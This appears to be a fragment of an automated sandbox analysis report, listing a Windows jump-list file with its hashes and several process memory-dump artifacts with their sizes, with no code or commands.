MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms
    Filesize

    7KB

    MD5

    c789259bde4227c1a355f5bed9a5c964

    SHA1

    2bf7f62aff78bf2d2a298746d1746556d442d7ae

    SHA256

    6975dc0ee43b8e907861c607a4709b4992c6860669ab20f71e49d1f93e4e9050

    SHA512

    f0be3fd06f0e776de5bdb5a2265ad77fdfdd6883b276b69845e497f6a0118519937a069c05b42a2e09f9a3f6cf6ddc178f53acc566246a39f561066a486bcb5a

    Download Submit

  • memory/2164-4-0x000007FEF56DE000-0x000007FEF56DF000-memory.dmp

    Filesize

    4KB

    Download

  • memory/2164-5-0x000000001B790000-0x000000001BA72000-memory.dmp

    Filesize

    2.9MB

    Download

  • memory/2164-6-0x0000000001F70000-0x0000000001F78000-memory.dmp

    Filesize

    32KB

    Download

  • memory/2164-12-0x000007FEF5420000-0x000007FEF5DBD000-memory.dmp

    Filesize

    9.6MB

    Download

  • memory/2164-13-0x000007FEF5420000-0x000007FEF5DBD000-memory.dmp

    Filesize

    9.6MB

    Download

  • memory/2164-26-0x000007FEF5420000-0x000007FEF5DBD000-memory.dmp

    Filesize

    9.6MB

    Download

  • memory/2164-27-0x000007FEF56DE000-0x000007FEF56DF000-memory.dmp

    Filesize

    4KB

    Download